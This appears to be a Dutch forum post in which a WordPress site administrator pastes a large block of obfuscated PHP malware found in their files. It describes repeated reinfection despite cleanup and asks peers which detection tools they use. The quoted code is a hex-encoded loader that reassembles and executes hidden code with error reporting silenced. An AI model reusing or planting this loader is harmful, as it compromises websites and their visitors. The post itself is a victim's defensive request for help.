7878B%x5c%x7825h>#]y31#@#7%x5c%x782f7^#iubq#%x5c%x7851L3]84]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.984:7597pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]472]37y]672]if((function_exists(":**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<+s:N}#-%x5c%x7825o:W%x5c%x789!%x5c%x7827!hmg%x5c%x7825)!g j!~<ofmy%x5c%x7825,3,5c%x7825)hopm3qjA)qj3hopmA%x5c%x7 8273qj%x5c%x78256<*Yc%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*C;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x782msv%x5c%x78 25)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h5tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x83:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5cM8]Df#<%x5c%x7825tdz>#L4]275L5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!256<#o]1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs% x5c%x78c%x7825ggg)(0)%x5c%x782x5c%x782f#p#%x5c%x78 2f%x5c%x78uf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7824-%x5c%x782274]y85]273]y6g]273]y76]271]y7d]252]y74]256{ftmfV%x5c%x787f<*XAZASV<*w%x55c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7825c%x7878Bsfuvso!sboepn)%x5c%x7825epn%x782 5-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%x787fw6*%x41]88M4P8]37]278]225]241]334]368]322]3]364]6]283]42725j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s6Z6<.5%x5c%x7860hA%x5c%x782d}R;*msv%x5c%x7825)}.;%x5c% x7860UQPMSVD!}.}-}!#*<%x5c%x7825nfd>%x5c%x782]y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]275]y876]277#<%x5c%x7825t2w>#]y74]273]y76]252]y85]256]y6g]257]cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x7825e>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,x7824-%x5c%x7824*<!~!dsfb2fqp%x5c%x7825>5h%x5c%xc%x7878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]5%x5c%x7825j:^<!%x5c%x7825w3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%%x6f%142%x5f%163%x74%141%x72%164") && (!isset($GLOBALS[3]248]y83]256]y81]265]y74-!%x5c%x7825%x5c%x7824-%x5{hnpd!opjudovg!|!**#j{hnpd#)tutjyfn chr(ord($n)-1);} @error_reporting(0); preg_re25_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5cx5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fc%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x78258256<%x5c%x787fw6*%x5ckj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:N+#Qi%x5c%x785c1^W%x5c%x78255c%x7825o:!>!%x5c%x78242178}527}88:}334}472%x5c%x7824<!%x5Rb%x5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce4h%x5c%x7825)n% x5c%x7825-#+I#)q%x5c%x7825:>:r%x5cs%x5c%x7860un>qp%x5c%x7x7825j=tj{fpg)%x5c%x7825%x5c%3]248L3P6L1M5]D2P4]D6#<%x5c%x78c%x7825mm!>!#]y81]273]y76]258]y6g]273]cq%x5c%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%l}%x5c%x7827;%x5c%x7825!<%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%tutjyf%x5c%x7860%x5c%x7878%x5c%x7 822l:!}6d%160%x6c%157%x64%145%x%x785cq%x5c%x7825)u fttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x7*doj%x5c%x78257-C)fepmqnjA%x5c***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfm7&6<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%7825)3of:opjudovg<~%x5c%x7824<!%x45]212]445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x7825N;#-Ez-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x78254!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825y76]271]y7d]252]y74]256#<!%x}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%xx7825ww2)%x5c%x7825w%x5c%x7860TW~% x5c%x7824<%x5c%x78e%x5c25!-uyfu%x5c%x7825)3of)fepdof%x5c%x7860{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x7822#2]254]y76#<%x5c%x7825tm%x5c%x7860FUPNFS&d_SFSFGF%x7827&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%825t::!>!%x5c%x7824Ypp3)%x5c%x7825%x7825:|:**t%x5c%x7825)m %x5825)tpqsut>j%x5c%x7825!*25c:>1<%x5c%x7825b:>1<!gps)%x5c%x78c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%x5c%x78246767~6<Cw6<pd%x5c%x7825w]y76]277]y72]265]y39]|:*r%x5c%x7825:-t%x5c%x%x7825bbT-%x5c%x7825bT-%x5c%x7825hWpc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k; opjudovg}%x5c%x7878;0]=])0#)U!5c%x787f_*#ujojRk3%x5c%5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x]82]y3:]62]y4c#<!%x5c%x7c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c% x7825!osvufs!*!+A!>!{e%x5c%x7825)hIr%x5c%x785c1^-%x5c%x7825r%x5c*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}25G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55L5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x7825)5457ftbc%x5c%x787f!|!*uyfu%x5c%x7827k :!ftmf!}Z;^nbsbq%x5824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5)fepmqyfA>2b%x5c%x7825!<*qp%x5cqsut>j%x5c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825w]278]y3e]81]K78:56985:6197g:74985-TOBSUOSVUFS,6<*msv%x5c%x78257-MSV]36]373P6]36]73]83]238M7]381]211M5]y86]267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x78bss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x782 5z>!tussfw)%x5c*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!#x5c%x7825nfd)##Qtpz)#]3hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%mg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tp5b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785cWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x78c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji% x5c%x7878:<##:>:h]y83]256]y78]248]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y33]667R37,18R#>q%x5c%x7825V<*#fV;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}&;ze2%x5c%x785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x7-#!#-%x5c%x7825tmw)%x5c%x782c%x7825%x5c%x785cSFWSFT%x5c %x7860%xcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upcotn+qs vmt+fmhpph7825!<*::::::-111112)eob25)dfyfR%x5c%x7827tfs%x5c%x782f%155%x61% 160%x28%42%x66%152%x66x5c%x7825-#1]#-bubE{h%x5c%x7x5c%x785cq%x5c%x78257**^#zsfvr#%x5cx7 860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827%x5c%x7825)Rd%x5c%x7825)7,*c%x5c%x7827, *b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x782 7-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGx22%51%x29%51%x29%73", NULL); }A:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j {hnpk~~9{d%x5c%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56j%x5c%x7825>j%x5c%x7825!<**#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%~%x5c%x7825fdy)##-!#~<%x5c%x7825h00#*<%%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7256<pd%x5c%x7825w6Z6<.3%x5787f%x5c%x787f%x5c%x787f<u%x5c%x7825opoV;hojepdoF.uofuopD#%x7860opjudovg)!g j!|!*%x5c%x7827{**u%x5c%x7825-#jt0x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x78]88y]27]28y]#%x5c%x782fr%x5c%x7825%x5c%x782fc%x7825!|!*)323zbe k!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>c%x7824*!|!%x5c%x7824-%x5c%x7#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782fvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5cV%x5c%x7827{ftmfV%x5c%x787f<*X&Z&Shmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>7878pmpusut)tpqssutRe256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udfoopdXA%x5%146%x21%76%x21%50%x5c%x7825%%x785c2 ^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw )#]82#d]55#*<%x5c%x7825bG9}:eTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7 825r%x%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x782f7%x5c%x787 f!>>%x5c%x7822!pd%x/(.*)/epreg_replacefqdgihifkh'; $rhvvdpdslo = explode(chr((204-160)),'3048,21,4773,55,1299,53,2331,37,4913,47,171 1,61,5744,24,962,25,8615,32,1530,60,1990,21,9872,2 9,2464,40,6727,67,4270,27,2922,66,9267,26,7033,64, 1590,70,143,62,1352,57,8849,59,5916,46,9402,40,373 9,64,9805,67,6687,40,3621,53,5007,64,3190,53,777,3 9,10029,49,2841,31,5577,48,8675,35,5768,60,8390,56 ,5197,22,2059,60,5828,30,6403,56,3243,61,8073,53,8 585,30,8908,38,7610,33,4131,49,6941,23,8710,51,510 ,40,1241,58,2758,61,4297,40,2635,67,1930,60,10078, 28,987,40,9351,22,3363,64,3535,57,1689,22,7974,59, 7483,56,8647,28,6628,24,3140,50,9085,27,4714,59,22 12,50,9731,53,7888,46,720,57,4879,34,5650,54,23,29 ,8330,60,6316,39,7452,31,4087,44,588,68,3304,59,87 85,64,4616,23,8561,24,5456,23,1210,31,5858,58,8509 ,52,1660,29,1063,23,550,38,9784,21,8761,24,5353,55 ,1467,63,6378,25,2702,56,9486,67,3674,65,6459,44,6 277,39,7341,54,8474,35,6964,45,7287,54,5625,25,719 7,48,9034,51,8977,57,1086,54,3069,44,1185,25,7097, 69,410,63,9293,36,9697,34,3968,30,5127,70,4529,62, 8249,27,9329,22,816,40,5704,40,8276,54,6873,68,937 3,29,6163,57,2417,47,7817,48,6794,21,3925,43,4369, 55,4828,24,6355,23,2612,23,4424,56,7678,70,4960,47 ,2368,49,9442,44,5408,48,6601,27,8126,56,2988,60,0 ,23,1806,65,6815,23,5962,33,5295,58,5539,38,6135,2 8,3998,53,4852,27,9553,29,85,58,892,29,473,37,7395 ,57,230,62,1433,34,1027,36,2119,24,9627,70,381,29, 5479,29,4591,25,3856,69,6099,36,5219,48,7009,24,65 67,34,4480,49,5267,28,2011,48,9988,41,4051,36,7748 ,69,7539,37,6055,44,7166,31,9901,65,8446,28,3427,4 6,2819,22,7576,34,292,37,4639,49,2872,50,3473,62,9 582,45,656,64,3592,29,5508,31,7245,42,9966,22,4337 ,32,921,41,6838,35,9167,39,7865,23,4180,52,7643,35 ,205,25,5995,60,1140,45,1871,59,856,36,3113,27,665 2,35,4232,38,5071,56,2504,64,8033,40,4688,26,9206, 61,7934,40,3826,30,6503,64,6220,57,1772,34,2143,69 ,9112,55,2262,69,329,52,3803,23,52,33,8182,67,2568 ,44,1409,24,8946,31'); $fnaqyeouup=substr($arxqlcwhmb,(70598-60492),(22-15)); if (!function_exists('fkyoklypic')) { function fkyoklypic($jomiljssvl, $ftmavhpqhi) { $umnzsoatap = NULL; for($vvmseuorie=0;$vvmseuorie<(sizeof($jomiljssvl)/2);$vvmseuorie++) { $umnzsoatap .= substr($ftmavhpqhi, $jomiljssvl[($vvmseuorie*2)],$jomiljssvl[($vvmseuorie*2)+1]); } return $umnzsoatap; };} $uzrtsmzsku="\x20\57\x2a\40\x74\163\x71\142\x73\171\x6d\172\x66 \147\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162 \x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x 28\50\x31\65\x38\55\x31\62\x31\51\x29\54\x20\143\x 68\162\x28\50\x36\60\x31\55\x35\60\x39\51\x29\54\x 20\146\x6b\171\x6f\153\x6c\171\x70\151\x63\50\x24\ 162\x68\166\x76\144\x70\144\x73\154\x6f\54\x24\141 \x72\170\x71\154\x63\167\x68\155\x62\51\x29\51\x3b \40\x2f\52\x20\141\x7a\150\x67\142\x6b\144\x79\160 \x78\40\x2a\57\x20"; $qszkcvgwmf=substr($arxqlcwhmb,(43989-33876),(37-25)); $qszkcvgwmf($fnaqyeouup, $uzrtsmzsku, NULL); $qszkcvgwmf=$uzrtsmzsku; $qszkcvgwmf=(389-268); $arxqlcwhmb=$qszkcvgwmf-1; ?>
Ik heb deze files opgeschoond, door o.a. de complete /wp-includes en /wp-admin mappen opnieuw te uploaden, en alle overige files met de hand op te schonen. Echter werdt ik vandaag niet blij toen ik steekproefgewijs door deze bestanden ging. Ik kwam een zelfde soort code tegen maar dan met ander inhoud (waarschijnlijk wordt dit random gegenereerd).
Ik begin me nu toch echt af te vragen of dit via een backdoor in het thema of plugins binnen komt. Wordpress is up2date en de server zelf is aardig beveiligd (het is een shared server en dus helaas niet helemaal dicht te spijkeren), zie ik geen verdachte processen draaien. Daarnaast heb ik gekeken in de FTP log maar hier zie ik geen enkele entries die mutaties hebben gedaan op één van deze bestanden (die van mezelf uitgesloten).
Het betreft een up2date DirectAdmin server met PHP 5.4, Opcache en Suhosin geïnstalleerd en laten we FTP uploads scannen door ClamAV en Suhosin. Daarnaast draaien de scripts als de gebruiker m.b.v. Mod_ruid2.
We hebben de bovenstaande site vandaag nogmaals opgeschoond, maar we kunnen er eigenlijk van uit gaan dat dit niet voldoende zal zijn en er misschien later op de dag alweer besmette bestanden te vinden zijn. De site zelf is up2date, ook de gebruikte plugins, hier zitten ook geen "vreemde" plugins bij en eigenlijk alleen maar plugins die goed staan aangeschreven. Het thema is maatwerk.
Mijn vraag is nu eigenlijk, hoe kunnen we hier nou een goede oplossing voor vinden om niet meer achter de feiten aan te lopen en om deze problemen automatisch af te vangen / tegen te houden. Hoe doen jullie dit? Welke tools worden er gebruikt om dergelijke zaken te detecteren en te bestrijden, en hoeveel last hebben jullie hier nu eigenlijk van.
Jullie reacties zijn meer dan welkom!